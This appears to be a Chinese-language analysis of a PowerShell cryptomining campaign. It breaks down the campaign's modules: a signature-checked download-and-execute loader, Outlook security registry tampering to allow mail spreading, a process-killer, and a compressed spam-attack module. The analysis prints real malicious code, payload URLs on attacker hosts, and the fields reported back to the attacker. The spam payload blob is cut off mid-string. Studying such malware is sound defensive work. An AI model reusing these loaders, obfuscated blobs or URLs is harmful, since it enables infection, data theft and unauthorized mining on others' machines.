0xda,0x65,0xa8,0xd7,0xbb,0x97,0xbc,0x6d,0x41,0x5e,0x99,0x9d,0x82,0xff,0x2f,0xff,0x73,0x53,0x9a,0x73,0x6e,0x6c,0x7b,0x55,0xeb,0x67,0xd6,0xae,0x4e,0x23,0x3c,0x52,0x3d,0xc0,0xcd,0xcd,0x37,0x6b,0xf3,0x4f,0x3b,0x62,0x70,0x86,0x07,0x96,0x6e,0xca,0xde,0xbd,0xa6,0x4f,0xf6,0x11,0xd1,0x60,0xdc,0x88,0xbf,0x35,0xf2,0x92,0xee,0x6c,0xb8,0x2e,0x9b,0x7d,0x2b,0xd1,0x19,0x30,0x73,0xc6,0x52,0x01,0xcd,0xe7,0xc7,0x34,0x78,0x8a,0xa7,0x9f,0xe2,0x12,0xcd,0x79,0x40,0xa7,0x91,0x6a,0xae,0x95,0x8e,0x42,0xd0,0xcf,0x39,0x6e,0x30,0xcb,0x0a,0x98,0xdb,0x97,0x3f,0xf6,0x2e,0x95,0x10,0x72,0xfd,0x63,0xd5,0xf7,0x88,0x63,0xa4,0x7b,0xae,0x97,0xea,0x38,0xb7,0x47,0x6b,0x5d            $rsaParams.Exponent = 0x01,0x00,0x01            $rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider;            $rsa.ImportParameters($rsaParams)            $base64 = -join([char[]]$sign_bytes)            $byteArray = [convert]::FromBase64String($base64)            $sha1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider            if($rsa.verifyData($raw_bytes,$sha1,$byteArray)) {                IEX (-join[char[]]$raw_bytes)            }        }    } catch{}}SIEX "$core_url/report.jsp"try{if($isn -and $is64){    $nd="nvd.zip"    $ndg="$env:tmp\nvdg.dat"    if(!(test-path $ndg) -or (Get-Item $ndg).length -ne 22035968){        (new-object Net.WebClient)."DownloadFile"($down_url+"/$nd","$env:tmp\$nd")        (New-Object -ComObject Shell.Application).NameSpace($env:tmp).CopyHere("$env:tmp\$nd\*",16)        Remove-Item $env:tmp\$nd    }}}catch{}$hks="HKEY_LOCAL_MACHINE\SOFTWARE\"$mso="Microsoft\Office"$wnd="Wow6432Node\"$crm="ClickToRun\REGISTRYy3dMACHINE\Software\"$paths=@("$hks$mso","$hks$wnd$mso","$hks$mso\$crm$mso","$hks$mso\$crm$wnd$mso")foreach($path in $paths){if(test-path Registry::$path){get-childitem Registry::$path -name|where-object{$_ -match "\d+" -and (Test-Path Registry::$path\$_\Outlook)}|foreach{    $skey="Registry::$path\$_\Outlook\Security"    if(!(Test-Path $skey)){        New-Item $skey    }    Set-ItemProperty $skey ObjectModelGuard 2 -type Dword    $mflag=test-path $skey}}}if($mflag){    try{$localMail=$flase;    New-Object Threading.Mutex($true,'Global\LocalMail',[ref]$localMail)}catch{}    if($localMail){        if(!(test-path $env:tmp\godmali4.txt)){            SIEX "$down_url/if_mail.bin"        }    }}if(!(test-path $env:tmp\kk4kk.log)){    SIEX "$down_url/ode.bin"}
*/
脚本主要功能

•尝试设置DNS为8.8.8.89.9.9.9•下载文件 均为powershell脚本•如果不存在%temp%\kk4kk.log则下载http://d.ackng.com/ode.bin•如果存在Outlook且不存在%temp%\godmali4.txt则下载http://d.ackng.com/if_mail.bin (邮件攻击模块)•下载http://d.ackng.com/if.bin•下载http://d.ackng.com/kr.bin•如果系统为64位则下载http://d.ackng.com/m6g.bin•如果系统为64位且存在显卡则下载http://d.ackng.com/m6g.bin•下载执行http://t.amynx.com/report.jsp•如果存在显卡(N卡)并且系统为64位则下载nvd.zip•回传以下信息到http://t.amynx.com,格式为•操作系统•系统位数(是否为64)•当前用户•域信息•磁盘格式信息•显卡信息•内存容量(格式化为G)•是否为管理权限•3个下载的文件MD5值•通过矿工程序提供的接口hxxp://127.0.0.1:43669/1/summary获取当前机器的总算力数据•机器启动时间•每次下载时判断返回长度是否大于等于173,如果大于则解密前173个字符并做SHA1校验,如校验成功则执行下一阶段脚本

report.js 结束进程脚本

代码语言:javascript
复制
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb76f9f4ebefb53e96769fa519ade49efecefed7ebf3efef6c9f7461fffa287eb8fd3fce4b85ce5f576faf09ef9fc8b67edc7e9e9f4b87c79faea643b4d3fb5df4c5e2e3e765fdcf9f8374e7ee3e40e357ff7c5c79f7cfc8cfedf7ef27dfa77e71efdf3bd53fa6741fffff2dbcd8a7e4ce8ff2ff13737d9ff1efd73fac597f4efb75fd33fab097f97d2ffb7d2710ad43ef9f8ce3efd43f8d2bf754608d0cf11f5f6e4bbbf887ea35fd234a75f4e8e9fd300a6842886907d1b1f7d0fede897f2e1f32f182fc0c658b929fdb14dffa77119c868feecf57700162369a929fda4d6f42f60df1128bf44befd447ecce4078624f8d0bf45d3e4d30a6057e3df1f5fbffe02edf9bbefa4fa06fe2eb631d6c612ce412100b6997e2300b757f8d936bfd8a20940f3690624d1022dcf0508be213afd922f2cb6e5170e55d3e943e9413b7a4eff7c6b7fb293fb4d3eb1bf4db2878026f0f72d60feead37def05ee67f290fe39c704665fd8a13cfcd435f33b41d38307bb963cfc23c3cb073bf4cf7dc0dac19fe7dfa27f4a462100d23e7cce1f2a7a0a33f586fcaccddf16a521e672dbfb5a7ee4cbc242d3379ecf96d922201178b4026b8c7fff67605b704c3a0340c70bf462b69d96dea89f7f6b594cc6989eb7df12e44d0ff4efc3e76084fc2dfd53e877962ea5a0f9b1a3cac732b2dc60653e5be275c6776146c56f55f4afe0ebf0f1185dc12936406406485980050d0613f03c7f67bb7dd68e3110331850977e9d37f44f1d52f58afea92046248ae92fca7940b92180e96191bd1069a1ffbffece2fc68b53e6c23eabfc34fd33f9723baff339fdf6dd27f8e717b1d0d58ac94bfae8f7dfbb877104c328becb126751c6670d64a704819c40318af8729a4b671fcbcc2cbebb1da119feca3fb7b3bfb545ff4bb7ee7cfcf18ba2facef6f7efef8df6e97fdf9be6abe68b2fa78f2e97f9ef966ea5bf10eaf830254db7b575795c9f654fca3cfdf85b8b59fdad8fef8c5f648bfc7bf746bbbba3bdef6f7fa73a7bf1f1c777e8a5efbd7e5317cbcfbfffe8d177be3c5b6e7dfc713adafafc2c4d7f92001c4f9e9f3e12559fde195f66cfbfcabf976eefa6e371ba4df86c68362ef3e5e76fbe7d27fd3e5987f4374efe1f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

解密去混淆后如下

代码语言:javascript
复制
& ( $env:cOMspec[4,24,25]-JoiN'')((('(('Get-WmiObject -Class Win32_Process|Where-Object{JSF_.Name -eq powershell.exe -and '+$_.CommandLine -like *kr.bin* -and JSF_.CommandLine -notlike *f4095084ad178f69a4f9b46b49abe0b4*}|foreach{stop-process -id JSF_.processid}')-crepLACe $',[CHar]36 -crepLACe  '',[CHar]39  -crepLACe  '|',[CHar]124)| . ( $pSHOME[4]+mPbpsHOmE[30]+'x')') -CREPlAcE'$',$  -CREPlAcE ''',' -replACe '|',|) )  

该脚本干的事只有检测当前powershell进程中是否含有kr.bin进程字样并且值为f4095084ad178f69a4f9b46b49abe0b4,有则结束进程

if_mail.bin 垃圾邮件攻击模块

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f225e5fa65b1f7df9d1271f7d7b39fbe84eba95a61fa577ee7cfaf0fbafb2f9f47ba33b0f3f95df3ed97da0bf3cdcd995dfb6f269f6fc65feea647b7f4f3f1a7dfced57dff9384ded3769fae93d03ead35d6de5407cf2503bda4a4f4fb2f2655e6fa70fed0b0f4c97f7ed9b7bfa91d73ebdf3f16f9cfcc60961fd45f3edd3cf17f42fa1cd6f7cfbe47b9f1c7caabff000e897adadd3e931b01bdf61dce8a3ef7fbe2c5eb5cdf746f4eed3f3effc34fd708df6bb8dee7c6a401ed85e760ff4973df3cbc1c35e770496c8c3f87d6a9a19ac1c9e9f5aa07bf77b201e46305ede7ff6e60701ca7bdab743f981edc674bcafc03ff974c7f477dffc16e20ceaca7ff9b4aeceb7d3bc2cced37c75dd6ea7edbb76bc5f94d962565d7cf17b7ffad3c56ad13eba5ce6a062bac8db62fb2a5fe2d55fc2efcfaae9ef5f16d982bf7e777af5f4f3b31fc317bf386fca9c9b3cb9fc895793f178dc16eff274b6ccd27c593de50fb9e19dad769a2f97d5c9f8ce1dfef441f18bd6f9f5b7bfcd9de7ab62c5bf8cf95ffe875b6d2db2bc6e5fb7cbbc284fa8d5cb59bec85e8c1bfc3afef26c4c9836d7af5382fdd3930a286f696f7953ad9ae2e9189081f4a1fbe8aa910f82416de5cbe2390dbbfeaefb5e5fddaaf973c124dae967e6153b48d7edcfd660d1efc79f7cfc99e949c67d676b51d46fc6b3c5b46972466a6bb63899e6ef4e67cbe3665915f4f1ebc57a79fae8d1f7f9cf65debe3ba50fa755fd72dc9445fbd5f71812f3e69d2d6aa243aaab676d917d97a68fbfe27f6e9c43d75427b2ce2febfcf5ad26f2f00e8d824720fce6cd6064526b3303b3e569f566969108c8479f2994603ef1fda6f9b4d0fae3777dff70e86027389d6ea76599cf9b3abfaa560cec336f9e451c55b8eaaacdeab62996c56276cc9fa4dfcfcbead5f2ac2d8bf593e6aa9a2d8bef8ecb6c554c9705cdfc3571f87a9abf26dbc0cd9a339ae82d12bbba5e9fb4f9e7c42ed484fe9e9d6d78f9fbf6b34d3d6c9d17ccab65bdfefd97d40ed88f18c9e7afbefafd5f7cf74b511bb052e52aafc7dc30afab69d8f0f4d5972761c3df93896295167f69b5103e59153ff8fddb36733a2ebfac16798daf9a9f1efa665acd86bee26eeea5f90f8a06aaf5f7f7e1d3b42e830fa06966cbbcf9fdcb7cc69375ffebbeb88f17bfce8b77ee7f72ff77bfb3a0a9c9eaed36bfd8da4a57795e36fca551e0d3e9ba21fecbdaa5503cad5a86444a3d7f2dbcd436d57c1b4af14ab52dbe1a1b551a40e3372f96857d59dee05f09d771be2059acf9cfd12efde7e1bf359b1d8f1be2b9c59cb0698fc30e04044d4e0f8437619b415ccfaa89b36a9fa5f4f793b085c8e1baf15bf147a479d79d11dff16866fb2d88fd491599869f81813cf0e99d9d2dfae82c6f690427e3b2e24601d85f7ca7f1276359f873b345c322c938b7ccf84bf89d45559ffffe97d3bc66709ff8007e4c81064dd26659708bb65a6ea77e7392558345f806e1117c308049d5fefe448566180fafc1adb0f0dbc3fe15a9f7898f04f93f9fd0ff3ffd1ab282d7bfbffbbdefbfcb4987fdfe242b68f1bda6acaa956584cf02e6e137766e78a3cb4b7869de5e2cf3721cb60c44f4b300a630da725d4dc7e1847cc2fcffd9bde92fe45f3ed1361e71b4c55ea78547666db13bfd8575deac05e9f52f04569fc169fc3d9655f3d3e3b6ae48d7de0d55350938999b59569550e8e33becaf4d27f9d5b8cd97ce98bdd802fe76d4777c616ff2f67a5296196499ac0d666c5c15dffb2c367d80e14fdeaaf8a96d92b89ffcfc69bbef29f2bae0a9143bd09970e7627ee279be9f753a89a9a9cfbaa0644c6487ebd92c5bb58b667c6717525d4003108da7d9581cafc608b8252f4fe79d4fe19194e45f94ebec3c7f4ae6565f78ad2f6cb9b9fefd8927e4adfb37bfa5b3efded9d9bdf9256508f3123ca06c5a94ab55367e5b5565bbae48f22940a45925b7eca7275f6e5fd1cffcc56702c02980941efcb2b3733f6d6604326f8ab22c16db6274b6db3a6b5fa7dec338c21d2acbf5b331269d31caebfcdbd72b38d517d9db69f69248cfd3db7933fdc5f6b73bed7ab52c444714a905a4da4155afeb6f89160a15cec4ea35fb646ee4c7ec7731bccfd23e165d32716b22d29489a47e1cbd1905a8ef335296641488376576ae3d5e97cb2fe1b1c229b3e86af7c4e35b01fdee1ceca6df4a9953efec7cbfe6981b2d4550d34fd24fe543faedbefd8dbffcbd5e6a9b6e1fc443e00852478ddf95a5f79d3b3d2acedb6cb5dd924c6fa5d0e6a4c04de33ec9bf2fdae37be41ad7d9ca42172167c166ca4d97ebae75f9253f667ef0cfb734bd931fd33f8c0322326efa7c36664740548ee8bb47f2493a6f8b2b7174f2362f73d16cbeaba38029e6e0efe1aa338f992f7eb1908149f68bf26d43c6a04b5832d3daf74b0c2cf0abd7dc70ac74cc2d54b3f0bf248bbfbf481d71894347c06f6ff39f8724f53b7bdbac895a0690b617dba9c042a0be4d4e88f7d1a16bf9997c6244c6989db0e7cf5c7bc1f2222b45dc6ed0349f39188ab17973049d2fbf283db77cf36cb881ac7f9721eec02a5b628ed4e2da0fb646e4845853fba8cc265579812f7edc3292cf4ff9bacc2ec762073f31cad47bcb4dbcd7b2e3c5f4df722cf063c431d51b875d93cfa76db618bfcb2f3c2fabcf0870c672300153f8dcb0001a1b50beaa63469eb0c1fb25fba3bd5ffcfd9fda3efe9e04a79f7c7f7bfc707b071ffc9ef4fb27bffbef6ffe94f6778adf638b5fff3ee3f43d62338b9c92caa3db1dc147c612582cc7f3ae09f0f55ee88c7097f42ca94f6139af997a82fa5187049f792dc30eb54160126fd02a62d08fc129a70404118e212f71831d5ec80fdae9f0ab1df688816106890b7c67c6370bfdfd6f5ae83bc4ee087e9fd6010bdc8edabb4c339fd0ea8e6c2073e79d781811a3ef7bcad130af7b2ed30f8dd36fe4740fa980f62ccfb3d9f6175f6c5fd3a3662e5b50828b6c16191eb2f39f7f46bfcc7e7f4afe7060c003e67fb8755ba4cb7c559174de7fa6611665b7b2695aa4a359beccdf56f5246dc4f192b09cfffd3d08c1ba4aeb75758d6f9b62fe461c0e401e59d070b419b4c21c49d67adea6efe867d592da27d39aaec8834a018a1a799d706341a1077c3e5d532e83a697fccfb7e928bf9ea4b38ad2df32040f08257cc9c423db7695d7d9f96d01f968f81ff9affe1e40995d8d8b65555f11b362a044fff9d5ef8a8762bd8590e89c084cbe367e25243cd86fd753a107bdf4dd5e071ba1c47b47e71efc676ffa50d919ceeb6953cc38b9cf0c954917241f7011176b4abca4b35cdda93c6ff0fe38afd7edfa3cad33728191bc68e99f665d1575764903406ae8b2a86b6a3f217a1362c421b35c3eba2e092ca98f34bfcce6699951fc59e7ab747951a04b0a0be657d4a6cc28c5b26af27459e75362780c99e22b621d62b2d75fbd3afbc9f4f8c597942cc417ec228220443f6fc87eb347bfcfab2f5f9ffde4d3e3f4db6f9e1f7ffb9b23c5c3dded5971599d702b8e0516d53948b2cc10542f8af49ad2c21e565f7efbbb29b79021be4ee9e5654a609e9efde4979afbf410a3d0a2ce17c7182639de88ad66a4c6965f71a2863ea28084c9b506bacdba2e7ed2ebcb40c5dbf3765dbf210a79e2b9f57b7e16759c58299044e2fb982de3eff165df0fb25ff53534be92b4a2c9e5dfb9737676f2fa981203c82556d3e5e9b87d97bff95e3abac366604583cb9f226f30abbe103f139f9da8cf29bf7f79c6ed7505e3e9c1f9f5e73f78b9bc6cbfd8fde4c1ddbd9fbabfb8fbeabb6f57f5ab373ff8c9fde9bd83eae0f9273bedfa275ffee0e0fe5efb60ef7af99dbd5f74ffcd4fcd1f7c727577e7d3e7f5cbe5ddbb0feedfcb761f7c77d9bc3b78f0e50f660f7ff0e0fe64ef07e7f7bffabd0f5e7eb2aa7fe2cdc37bf5e4e4f2a7db4f96cddd073fd82daac9bdf3bb3ff8e2f779fbe0f5cbecfeef7df9d32ff73e3d7851fed44ffee0a77fd1dde7d7dfbdffa6fe74b278d8fc5e07e77bd307eb375f7e72f0e0dbe7cfbeca8bddd5dbe7b34fdfd50f1fbcbd3b9b7cfee979f68387fbef7efac10fee365f3ddc7df0c9e43bbf68b15efde0177db7f9452fefefffdecbf6db0f7f7aefa79feedf7bf972f6d5e7f5ec273f6967cbe9e5fdbb97bfcf0ff2fdc5e70f5efcc4dddd1f2cbf7cf09d1f3ca85f9edfffe4a7eb97e5ec61fdba3ea89bf5b77fe2e1570fca87bb931f7c79f9e9fe83d76f67bfe8e1e5cbdfa7fcc1e57571f9b27db05f93c978f183fc41bed7bc7c70fd7b7ff7eec1a7cf7f9f17f71fbc3cbfbe7bffe10fde2ddffdd4fae0934ff6df5c9f3fbcf76ef98b3eb97ff27bbfbc3ffbe4f2f2f79e962fefdf6dda8387f9c3bbbff7dd83ebb7f7effedeedf54f4e7fd1fde5d3df67bfbefc89870fd7f7967767f77697cbbdb7f9ddcb072f1eec9c669fccdafcf88b4f7feadbe7bfe8f9ef75f7a71e7c7bffeac1b75fddbdbbfb74b95c3fbc7ef2f0c10fdeac3ff98907efdefcdecd7472ff0b8a68efffe4dddffb27f2dd8bcb4feeff5e0f3f5d7ef1e060f7c5f2f8fe270f3e7970fec957bb0f660f8be6e5f9831fd4cfcf3f39f8a9ddfc61fbf0b2b93b9f7cf2257db7b7ae3f79b1be9c7cf27b5f4e279ffee4f9f9fae1c14f9f177bcfbf7bffed4f5f5efe6072f6f0d34f1ede2dde2e2e0f0e28d175f7e12fba7c7d75f9f4e1779adffb72377b4844cd3fad97b3673f7898ffe43a3fbf7c70f7e54f9f1d7cf274f1f0f3657eefcd27f4fce4771feedd7f767049c0ef5e3cb8f783ef5e1fdc7d792f7f78f0f4cdbdcbfcc18307dfb9febdefe6e777f7ea4f76279f5ceddf7bf3fcf95d5abffee4f7fef2bbfb4f4ebffc4597e73f38fffcf207e73f79f7f4b2bcb77cf0f0aedab397bff7fe93af669fccead5cef977bffae41e71d2fd870f9f7cf7bcb8bf577f7bbef3fb5cbfb9dc39dffbe9cb873fc88a4f2f5f9e2f7ef2e5ddbd9ddf7bfd8b7ed1ddfc171d5cde5d3e7c39bd3af8c9df9b507bf0faf83bf73ec92fef7df2f9f9f2d3bb0707af2e1ffef483e7cbd9c9c3bbf756f9279f34cf2f2fefadde5c7e726fb57e7939dddf7dfaf2f29367f7cf3fb9577f7afd66f1e0f7beffc9f4f77e787f7259dc5dcd9ebcb9bb3e9f5edefdc9fceecbdfe70777270f9e97f75e5e363ff57cfde017ad1fdefdc1eac9735a855f7cf283874be2f5f9dde5e4f5c3bb7976f7e9bd17d377cfce7fd183fdbbf70feadf7bfd83073ff841fd8387ebbb7b3fb87cf98698e93bcbbbe7d377f58397af5edc9dde2f7fefbb9f3e7df6ddfdebef1c2cbfbc7bfde90101a1266f1f2eefde2feae2cbc9bdebdf7b76b5a8cfcf6735cdf1f9fd670f1f34f76866cf774ebed33eb8fce43bbff7f964ff17fde0727dbede7ffae04be2d7d9bb87bf68fef2653efbbd7fd127cdeff3f0eef40717edd3cbfceefd4f7ed1a7d5b72fcf1f5edc7b7879efe06e76efe97272efc1f2417b37df6d2f973f917f7af0fc17dd3d9fbd2b7f9fc5f28b8377bbdfbe7779f7fecbf27cf7ab875f1dac7ffafccbf3f39ff8a9f6c14f9edf6d5eec7f72f7ddec17ed3d581e1cbcfbbd67f577da9fbcf7530feb87ed626ff67b3d5c5ddebdf7fce5fd8bafeebefcf6f9cef3bbf77eafe50fee2f9b83873ffde6a23c78b8735d2fce2f69b86f5eb6773f59ad2ef7ee5ecfeaefe6d76fce7fd0fce4f9eef2e5e5834f5fbe7870b0b7bcfbe5c383dde7e7f99bb7e5b387e77b97fb0f3ff9453f783e7f43d37970ba7bfec99b07f92fbab7fce4e14f7cfa83dfbbb9b7ffd32feffee0e5dd27bff7c1010df86e7effee7271befe74effef9c14f3efcbd0ff6dffddeaf567b0b426af2f0c1ef5ddefd45f7ceefcf7ff0dd2f76a7075ffde0c1c3d5f9cbdd9ffae4d3d9e7d9ddecfacd9bc9f9dd83fdfb4f7fef7c72fd9dfaee6c77d57e9537fb073f78fd60fefa93fbdf797e7effc583d9f9fae0e09383376fbebc7ffd837bdf7ed9dca3aeee7ff2e6abf39f7af27b5ffee4f493dd77cb3cdb7b70f7e1f52b62c28224f8938383dd6fffc4f9270f0fbe7af766e7fc7cf761be7bfff7befb60bd3cfffcabf5bdef90b2bbfb70a72c7776efbe5c5e7c7279efc5dd9f7cb8bebc3c7ff1e6a75e5cfef4a7572fef3e7876f793d9c127f7dfbea83fd979d03ef8453b3f20a6fec12707973fb877f1f0eefaee973f7d77ddfcf4f50f966df68bee2edfcc1eb63fb8bc6c26d7f77f507ffbf2e5c3d9f3cb0707ab7b341f6fbe7d70f0f0fec17aeff75a9e1ffca22f1ffca26f57d7cbd9f5cebdbbcf0ececfcf771e9e7f79f0e997bff779fef093faf73abffb5377ef9f13763ff8bd7fd1a23978b6fef4e2ee2509f3c3b7777fef7b2fdf3cbbfbfbbc2af72614485eefdebbf7203f78f1fce1779ffdd479f6e9f3efbe7d46aaa37df8f2e1fe0f5ebe5bad7feafc935ff413cb575f7efbf2de77962463f7ebf5837279f7273fb9bafc76b3ffee075fb42f0f1e3e7cb8fbe5c54ef1e041fdf072eff9fd4feadde50fd62feffe44f39d7bf73e79f57b5d1ebcfec99fba7e783925392f3e79f96052fc74f5267f77fded9fd85b7efbf7b9bcae4f4e1e9ebffa7df2e7e5effd839f7cf049f110703e39b87ef2dde99377777ff0a4addfbdfee4d3c5a7df799e5f5f9fcfdfe6fbc5b72f9b1fb40fbf3bfd41f3a0bdff8bee7e72ffab7b97bf37f14f3b6bef3dfce4bbbb6f9793bd5ff4edabf3bd83cbe96559dfcd5efcf4de836f5f5d92cccd0f3ef9e97be7539289072fdb039aeedd6f379f3eff89377bc76fc9329cbf3df8f2c1a73ffd7bbf9cdebdfcbdbf7cb877f0f2a7eebef9f2fc8acc5cb3dffef49707cfeffee06eb6f783faec07e72f3fb9faa9f5e2e0e5839da7c4e46433d79ffcd462f5ecbbafdeed2ec908dcfbbdcbf3bbbfe8e1bdef5cdcbb7cb037bbfb6ceff2ee97b3bb0f97bbf9efbdfee493f58c3efbcef5dddffbf2d3bb0fbef38beede7bf8e0d39fbcfbb2bcfbe2d977af08d6c1eae9a7b34fee9fffdeeddda6be5eddffc1eca79e9f3ff8bdd7f927bff7e79f7c727eb9ff8b7eef87eb1fbc3cbf2abf7d402ae7e1c3eb9c88fae9f2eee9d5f21e999f4ff3d9a777cf0f767e8a08f2d50f16b39ffaa9dd9d66f7f4277ed1775eee3e28de5057f75ecc76bffdfbacef9d918efcbd7ef0e0f73effb27cf87b3f7c306b5f5ee69f7c9aff20bf7bfcfcfcde8397f7777eefaf76762fbffb7095bdfb64f27bbf9efddef9e5eccbdfe7fafacdb7ef9eef3dbcfbf0e5bd62fdd39f5ce63fb84be2fc83aff6f2bd7bb3cb83e6c5f9f5939f5efe3e3ff153bbed279fdc9fcc7e11e9ef9fae0fde7cfbec938b4f1e2c97b34f1e3e59ee1f90919cccee928dab27f77ff0f2d9170f49b1be5b7d7a39fd2a7fb8fac9970f9e9359fde4f7feee27ed2f5abc7e4ae2d534efee92cff0edfceeeff3eef9effdd5f493c5ef736ff632bffb9dcbd90f7ed1c1effdc927f7caecee27bfcfcbdfeb72fde07a71f7179d37bfd797cf76abfb7b5f65edf33559ea870f7ff064f9f0d3fbe5736a7b7672b9f77bdf7df9930fcb7b64fa7ff0e26e49927ff283731ad0c5ef7df7fc3cbf5fbcbd3c7f79fa66458a78fd7b377be7e73f38c8df913d797bfd83ecf7bebbdf7ef7de247ff88b7ef2e1eedd35a9ceefdc7dba4baef6efbdbe777e70f06056debbfcf4deb3e927f5ef7df7fe0fce1f166f3eff7232270d7ffef2e1fd9f6c7eef83773ff97be79feeffde97ebbb9f7ee741b53edfbbbff3f4727a953f98963f597fe7e46e75f7c1937beda7df591e143f75fef0076fee37d337072f7eeae10f26e5ef7d3efbf42767770f2ebf3d7df08b96d3d50fd67bf77fefdffbfc6ebdac3eb9aeefffe0abcb070d744db1fceec39d83079f7c427ed7f31fbc7cf570fffe0f7eef6f37abe7e7b3bd65fe3cbbbab87cb9debffac1b7ef4d3e99dc7b71be7f70f9f2deec2757d9a7f5cef9f58bbb0f4e49b68821debc9cedafbff37bbfb8fb9054c60f96649a7e40bd4d5fdd5fde9bdcfbc1d3fafc8b07e5770fbe7cf89377f3ab834f2ff7576fef7eb2f326bbff747779f0c9f4073f758f1c8d9f7afa7b3ffce45ef37b3d7cf0e00d89e0c3df7bf969fec9cec3dd4f9fbe7e71f7fce14ffde0eec1de93b7f75eaed63ffdf2f2f2ee273f987ef2c97271705596f7da1f3c7bf9fb5c372fefbe396f7f6f12ce2feeef3cb8bb5c3edcf9459ffedef9bbc5e5fedefa9387cf2ec9e9b9f7eae962f17bbd3c3f7ff8e99ae8f793cb83ecd543fa78d62cc911f8eadd8bf3fba7bbe4a95f7e37ffbd6916f73e395b91ee78fef0feb7df9273fcd5c3f9dbbde70fd73f755dfe20dff96476ef3b3bbff7c3fda78bcbbb070f9feded7fb2aa3eb95bfe8074faeaeef3c5dd4f2feacbd7f3dffbfcc14efdf2a7dfdcdfb97e70efdebdf35f7470ffee777faf970fafbeba7ff7de9b9ffabddf3d78f9f0f5b2be3e7f77fec9f2f9f9ddeb67a7bfd7dd2f66bff7ecee83d583f9c377bb6f7ef2f2a71eec2c0f7ed1f397b38777bf7def9c120f2febcf7ffafce1fdd9b729202a7fefe3bbd32f76df3ef874f1c9a72fbff3ecfce0cb1fdcbbfef6e54fecfede2fcf673ff980d4e46a75f7eebde9275fdd27dd90ffa2efdcfde4dea79397e73ff8e9bbcbd5773fc9ef3e3c25aff8dbe79ffc44fb60f73c3f3f7ff79d07f9ee4fad96772932c93e21af9554e2b37b07cde55d128ffb6fbe7cfe93afeefee0cb1d9aa5dfbbcaefed91365b1d343ff5f2d5fcf75e1edc3dfff4c58b779f3c58df7bf9b0a9bfb84f5e6ebefb76f7f7def9ce83b3f5f9cbbb07ed0b327ce7ed8b87bbf7be2c27ef7e7a5d10191e7ea9ae64f583fdcbe75f3e38f8e9dffbdeeef3bb3bdf7d71f76afe7b5f3eb83ffbbd5ebeaceefe22b2b09fbcc977cbf36bb2e5bff7eeef3ddb3bddfdc1b7bf4bfcbbf7532f7f6af7e0f2171d2c5efed4e58bf357f7576fd60f3e59d2e4ddfd453ff572f7fcd31f904bf93cbffb53cfeebf24b7ebf5657effd3378b8707e5173f987ffbe5dd9d76462678ef7cb92eca835fd4aecb2f1fecee3dd87bb23c7f58fde0e1417d7ef97bffc4f9dd4fa6773f25edfaecde4fbe2491267f8b4290f34fae9fd53fdd7ef7cdddfbb3ddf3ab3dd2da648b306b070ff79e3f2bcb074fefe6c472f9f92ffae4275f5ecef61f3c78feedf5ecfebdbb0f9ebf9d1edf7ff77b7f1b8ee872fde96efdfce5f493eb7bcb97e73f39bfd79e3c859bf19debcb6a9f6672f7f4175d5e5e7d7aef3969962549eb0f2ebfa8ef950fc86df96477977c866fffd4738a0ac8d8bef9eecbdfe7e2cde5ddb377fbfb179fa3dfe2c1bbc9effd533f2056f9bd9fcf0e1ee4f72e97c03edfbdb7fcbd5fe60f7f62efcdc99777cfefee3cb93e7f79befff0de970f7fea697ef7faf4f79eeedc5f3effe9a72fcf77f3573fd9e4bf88b8e7d3faeec3fa9377c5ef9d3ffceadedbdffb27aaf3f3fb939fa6cc15d9eecb2fdb672f7ed1bd97f7a60f9ffde03b0fb2f3fbf75edc7bf9eaf2e5194d61fe7071ff723db9bfbbdcfd453fb8f7c9fd37eb173f794264a0906b76ffdd9bddbbfb3f79b7a5017c7bba202dfcd5a7bb0f0ec851695f9240cc1fbe3e206120109f3e78f3e6a72e2777ef3e25afe741fb29f9949feccfdfd05cde6f1fe4e79fd493cbfb3ff58b0e3e7db87c73f9e57db2154575b7be7ff9e5bdeb2f1fe6f3831fbc7cb8a6d0e62ec179f07bdfdd7df3f2c1db1fac7fd14f52c07097ace9b797e49cbdda3dfff6e5838cb4f6d97d521207cdc3e597ef0e7ef0ee93ddfa1e254f5edd7f7059bf7cf9ecfc9ad8e9f421b157fee0e0076ff6890dbefce4e2cda7d34ff69be77bf9dbeb76f6e6f2e1e4730a6d7e4031c0c387dff9eef2d37bbff78b87edecf7babb78f5e9270549e577c807dcad8979df90426a7ff09ddffbe54f7ef290da92a67cf6f2f2e5e4e1cef3cbfcdecbfaf28bf9b3eae0124ae6dd01b9c6f5cbcbdfebfef54fdfbdbc9cfe60d14ece0fee4e7fea8ae6e5faf7fe6a76efe2c1e5771fec3d78f0f2927ce1873f585dfee40fce49182fcfef1f3cf8cefaeee5cbfb2fee7f72f9ecf92f7a70af7eb3de27769e5d7fe7fceeecc14fbec9efd5e47bbcbbb77cf88b0876365fee7cf2f26d7ed03c9f5dffe0cd27cbbb0b8aac77f6eebe24a7f1f7fea9e7f9c53e79bf3f589efec4faf73e78f0648f06b3fae997f9c1ce839793fae5c383bb9f94fbc54f5fbe985fee3793bb9fecbfcb0e3e3d69bfbb3fffe9cb7c5a7cf2c96c79b7a1e06cf9139f1cdc9ffda21f7c7af7f5eeaabe4b0ef24fffde3ffdd32f579f7cf7cde90332170f7fe2f7baffe5e5f9bd4ff6ef2debefaef79f5c920c3dfcc1c307d739e9a4cb697379f9fb645ffce41579ec5f36f7bef3c9c3770f7eef07d9e5dd57f7c9085de70fde2cbefb7077fef2c1bdc964f6f0e18a78eb7a8f08bb3cbf9c4fdfec9361c9774fdffdf4720d27ed799d7fb23c7f757d41ec9fdfddfb4e494a12f2f8ed2f5e5044f76032a16062b7fcc987cbf3bdf3a7afdf3d7b70764e91e7d3bb2f773f7